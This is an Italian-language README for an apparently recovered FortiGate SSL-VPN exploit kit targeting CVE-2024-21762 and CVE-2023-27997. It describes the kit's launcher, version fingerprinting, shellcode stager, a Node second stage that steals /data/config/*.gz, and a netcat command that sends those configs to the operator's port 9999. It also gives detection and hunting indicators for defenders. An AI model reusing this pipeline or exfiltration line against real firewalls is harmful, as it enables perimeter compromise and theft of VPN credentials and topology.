Il vaso d'oro SSL-VPN di FortiGate. CVE-2024-21762 e CVE-2023-27997. 79 client exploit funzionanti. 53 SKU hardware. 55 build FortiOS.
Archivio di ricerca. Recuperato così com'era. Non ho scritto io questi file.
Rilasciato: 1 settembre 2026
Questo repository è l'orchestratore, i payload di secondo stadio e i listener per l'operatore che si trovano sopra un catalogo di exploit FortiGate SSL-VPN per singolo SKU. La storia completa, i conteggi e le note di caccia sono nella serie The SSL-VPN pot of gold su Abraxas Labs.
Non eseguire questo materiale contro alcun host senza esplicita autorizzazione scritta sia dalla parte che ospita questo repository sia dal proprietario dei sistemi target. Le CVE correlate erano pubbliche e corrette prima di questo rilascio. Questo albero è per ricerca, rilevamento e analisi storica.
Ho trovato in natura un kit privato FortiGate SSL-VPN. Il primo rilascio era una directory di client funzionanti: nomi come e . Ogni file è un client di corruzione della memoria . Due n-day pubbliche, ri-timbrate su hardware e firmware finché la cartella non sembrava un catalogo di ricambi.
exp/exp_60E-v6.4.7.pyL'oro è la matrice di offset, non un nuovo bug. Questa tesi è in Fase 0 della serie. La Fase 1 copre le due primitive come comportamento. La Fase 2 è la mappa SKU / train / CPU ricercabile. La Fase 3 è la caccia.
Questo repository è il resto dello stesso kit, non una seconda famiglia di exploit.
exp/ sono i client per-immagine già descritti nella serie.shellcode/ sono il launcher, il recupero dell'impianto e i listener per il furto di configurazione che quei client erano stati scritti per chiamare.exp_*.py non hanno mai contenuto l'impianto. Sapevano solo (1) recuperare byte grezzi da un "server di shellcode" o (2) fare GET /s.js e eval. Quei pezzi mancanti sono qui.Le primitive:
| Famiglia | CVE | Advisory Fortinet | Colore pubblico |
|---|---|---|---|
| A | CVE-2024-21762 | FG-IR-24-015 | Assetnote — Two Bytes is Plenty |
| B | CVE-2023-27997 | FG-IR-23-097 | Lexfo — XORtigate, Bishop Fox |
Entrambe sono nel catalogo delle vulnerabilità note sfruttate di CISA. poc.py non implementa nessuna delle due CVE. Seleziona e avvolge le due famiglie già classificate (scrittura a blocchi 21762; overflow dell'heap enc= 27997).
.
├── poc.py # launcher pocsuite3 / fingerprint / gestore processi
├── s.js # secondo stadio Node (ladro di configurazione)
├── send_cmd.py # gestore callback per il percorso stager
├── init.sh # installazione pacchetti workstation operatore
├── requirements.txt # pwntools
├── exp/
│ └── exp_<SKU>-v<FortiOS>.py
└── shellcode/
├── shellcode_server.py # pompa blob con prefisso di lunghezza
├── shellcode_arm # ~2.0 MB secondo stadio grezzo
└── shellcode_amd64 # ~2.7 MB secondo stadio grezzo
exp/index.html e shellcode/index.html sono normali elenchi di directory di http.server Python. Mostrano solo che questo albero è stato ospitato come root web a un certo punto.
Questa copia di exp/ è il catalogo precedente più quattro client extra: exp_30E-v6.2.4.py, exp_30E-v6.2.12.py, exp_30E-v6.2.14.py, exp_40F-v7.0.5.py.
poc.py orchestratore (pocsuite3)
│
├─ fingerprint portal ─────── VERSION_LIBS (hash → SKU + FortiOS)
├─ scegli file ────────────── exp/exp_<SKU>-v<ver>.py
│
├─ se il client è del tipo "stager" (Famiglia A ARM / alcuni amd64)
│ avvia shellcode/shellcode_server.py
│ legge shellcode/shellcode_arm o shellcode_amd64
│ avvia send_cmd.py (attende callback)
│ avvia ricevitore configurazione su :9999
│ esegui exp_*.py scelto
│
└─ se il client è del tipo "Node /s.js" (maggior parte Famiglia B + molte Famiglia A)
servi s.js su HTTP
avvia ricevitore configurazione su :9999
esegui exp_*.py scelto
→ firewall GET /s.js → eval → esfiltrazione
Pipeline in una riga: identifica → scegli file offset → corrompi sslvpnd → recupera impianto → esfiltra /data/config/*.gz → archivia sul lato operatore.
Quell'ultimo passaggio è il punto. Un successo è esecuzione di codice non autenticata in sslvpnd sul firewall stesso — terminatore TLS, policy di routing, sessioni VPN, spesso binding LDAP/RADIUS. FortiOS non offre una /bin/sh utile. La ricerca pubblica e questo kit passano entrambi attraverso un helper di comando interno e/o /bin/node, che FortiOS include effettivamente. Tratta un successo confermato come compromissione del perimetro di rete, non un demone crashato. Vedi Cosa significa un successo.
poc.py — launcherFront-end per l'operatore (pocsuite3 POCBase). Non implementa CVE-2024-21762 o CVE-2023-27997.
https://<target>/remote/login?lang=en (fallback GB2312)./sslvpn/js/login.js?q=<md5>.VERSION_LIBS (182 righe hash,SKU,version). Quella tabella è il motivo per cui il kit può scegliere tra 50+ appliance senza che l'operatore nomini lo SKU. Stessi SKU di la matrice, guidati da un hash di risorsa SSL-VPN pubblico piuttosto che SNMP o un'API di gestione.exp/exp_<SKU>-v<version>.py.s.js → tipo 2 (loader Node)Shellcode Server → tipo 1 (stager); poi cerca arm vs amd64 nello scriptPopen del exp_*.py con argomenti host/porta/callback.Indirizzo operatore predefinito in questa copia: HOST_IP dall'ambiente, altrimenti ATTACKER_HOST. Gli indirizzi IPv4 letterali in questo albero sono stati sostituiti con etichette di ruolo (porte invariate):
| Etichetta | Ruolo | Dove appariva |
|---|---|---|
TARGET_HOST | FortiGate sotto attacco | Mai hardcoded; rhost / target da argv (vedi poc.py) |
ATTACKER_HOST | Workstation operatore | Default HOST_IP in poc.py; indirizzi di bind in poc.py, send_cmd.py, shellcode/shellcode_server.py; segnaposto s.js / TFTP in exp_*.py che vengono riempiti con lhost |
C2_HOST | Callback incorporato in questa copia dell'impianto | s.js — non il lhost passato nell'exploit |
| Porta | Ruolo |
|---|---|
| 7777 | Callback / send_cmd.py |
| 8888 | Server shellcode |
| 9999 | Ricevitore configurazione (corrisponde all'esfiltrazione di s.js e send_cmd.py) |
Se l'hash del portal manca da VERSION_LIBS, si ferma con "unknown target hash." Se l'hash corrisponde ma il file exp/ è assente, "no exp."
s.js — il secondo stadio Node mancanteQuesto è il file che i client Famiglia B / Node Famiglia A recuperano dopo execute_cmd. Non è una reverse shell generica.
C2_HOST:9999 (host C2, non TARGET_HOST e non il lhost / ATTACKER_HOST passato nell'exploit — questa copia è stata preparata per un singolo callback operatore)./data/config/ sul firewall.*.gz non-symlink (oggetti di configurazione compressi FortiOS).Questo è un ladro di configurazione. Spiega perché poc.py ascolta anche sulla 9999 e riassembla i file in un risultato base64. Caccia C2_HOST sulla porta 9999 da qualsiasi egress FortiGate. Note di caccia: Fase 3.
send_cmd.py — gestore callback per il percorso stagerUsato quando il exp_*.py scelto è del tipo shellcode ARM/amd64 (l'uso include un server shellcode).
cd /data/config e cat di ogni *.gz a nc <LHOST> 9999.s.js (rubare configurazione), trasporto diverso (callback shell vs Node).Una variante commentata usava framing base64 invece di cat grezzo.
shellcode/shellcode_server.py — pompa di byte per stager Famiglia ACorrisponde al protocollo già visibile negli stub ARM32 exp_*.py:
poc.py usa 8888).shellcode_<arch> dalla stessa directory.Gli stager exp_*.py si connettono qui, mappano memoria scrivibile-eseguibile, recuperano il blob, poi si riconnettono a lhost:lport (7777 → send_cmd.py).
Blob grezzi di secondo stadio (~2.0 MB ARM, ~2.7 MB amd64). Sono ciò che lo stager scarica. Non sono il piccolo stub Thumb dentro i file Python; quegli stub recuperano solo questi file. Trattali come l'impianto per il percorso non-Node. La dimensione suggerisce payload impacchettati o statici, non poche dozzine di istruzioni.
init.sh — configurazione workstation operatoreNon usato contro il firewall. Installa build-essential, binutils-arm-linux-gnueabihf e gcc-aarch64-linux-gnu. Serve per compilare pezzi ARM/AArch64 su una macchina d'attacco simile a Debian. Coerente con un autore che compila stager piuttosto che spedire solo Python.
Una sola riga: pwntools. I file exp_*.py e shellcode_server.py lo importano. poc.py vuole anche pocsuite3, python-dotenv, mmh3 e requests.
exp/| Già descritto nella serie | Ruolo in questo albero |
|---|---|
Famiglia A ARM exp_*.py (argomenti stager) | Primo stadio. Chiama shellcode_server.py + shellcode_arm (o amd64), poi lhost:7777. |
Famiglia A/B Node exp_*.py (/s.js) | Primo stadio. HTTP GET del s.js padre, poi eval. |
Varianti 6.0 serie D TFTP / /tmp/s | Stesso obiettivo s.js via TFTP; si aspetta comunque questo file sulla root HTTP dell'operatore. |
Niente nella directory principale implementa una terza CVE. Conteggi, mappa di calore SKU e allineamento train (Famiglia A fino a 7.4.0 / 7.4.1; Famiglia B nella finestra 27997) sono in Fase 0 e Fase 2. Il retargeting più pesante nel catalogo originale: FortiGate-60E, 100E, 60F, 100F — hardware da filiale.
Il primo rilascio si fermava a "ottieni un callback." I corpi di secondo stadio mancavano. Questo albero rende esplicito l'obiettivo:
/data/config/*.gz, non "RCE generica." Questo è compromissione di credenziali e topologia (utenti VPN, route, segreti memorizzati in quegli oggetti).VERSION_LIBS in poc.py è una lista pronta "quale SKU pensavano fosse questo hash."Il riconoscimento del portal e gli URI di primo stadio sono documentati in Caccia al kit. Quelli distintivi già segnalati nei write-up pubblici e in questo albero:
GET /remote/login e /sslvpn/js/login.js?q=/aaaa/bbbb, /remote/error, /remote/info, /remote/hostcheck_validate con enc=GET /s.js dal firewallC2_HOST:9999 dentro questa copia di s.js (host C2)ATTACKER_HOST porte 7777 / 8888 / 9999 (host attaccante)TARGET_HOST è rhost fornito a runtimeCaccia l'egress dal firewall (TARGET_HOST) verso C2_HOST:9999 e verso qualsiasi ATTACKER_HOST che abbia servito /s.js durante la finestra rilevante.
Da l'introduzione:
Un PoC pubblico contro una VM è un artefatto diverso. Questo pacchetto è per chi ha risposto al riconoscimento.
Se gestisci FortiGate: inventaria modello, FortiOS esatto, SSL-VPN attivo o disattivo, se il portal era raggiungibile da reti non fidate. Poi leggi Fase 2. Non inventariare solo le scatole di filiale serie 60 perché quei nomi file erano i più rumorosi.
Questi file sono stati recuperati in natura durante ricerca di sicurezza indipendente. Non li ho creati io. Sono rilasciati così come trovati, dopo che le CVE correlate erano state divulgate pubblicamente e corrette.
Solo uso di ricerca / educativo. Non eseguire, distribuire o usare questo materiale contro alcun host senza esplicita autorizzazione scritta sia dalla parte che ospita questo repository sia dal proprietario dei sistemi target.